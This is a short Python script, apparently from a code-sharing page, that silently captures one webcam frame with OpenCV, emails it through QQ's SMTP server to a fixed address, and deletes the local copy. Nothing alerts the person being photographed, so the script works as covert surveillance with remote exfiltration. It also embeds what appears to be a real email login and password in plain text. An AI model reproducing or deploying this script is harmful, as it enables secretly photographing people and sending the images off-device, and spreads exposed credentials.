| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 
 | import os                                       import cv2
 from smtplib import SMTP_SSL
 from email.mime.text import MIMEText
 from email.mime.multipart import MIMEMultipart
 from email.header import Header
 
 
 
 def get_photo():
 cap = cv2.VideoCapture(0)
 f, frame = cap.read()
 cv2.imwrite('image.jpg', frame)
 cap.release()
 
 
 
 def send_message():
 
 host_server = 'smtp.qq.com'
 pwd = 'ahutmqcnpzkbegj'
 from_qq_mail = '1958334149@qq.com'
 to_qq_mail = '1958334149@qq.com'
 msg = MIMEMultipart()
 
 msg['Subject'] = Header('摄像头照片', 'UTF-8')
 msg['From'] = from_qq_mail
 msg['To'] = Header("YH", 'UTF-8')
 msg.attach(MIMEText("照片", 'html', 'UTF-8'))
 
 
 
 image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
 image["Content-Type"] = 'image/jpeg'
 msg.attach(image)
 
 
 smtp = SMTP_SSL(host_server)
 smtp .login(from_qq_mail, pwd)
 smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())
 smtp.quit()
 
 
 if __name__ == '__main__':
 get_photo()
 send_message()
 os.remove('image.jpg')
 
 |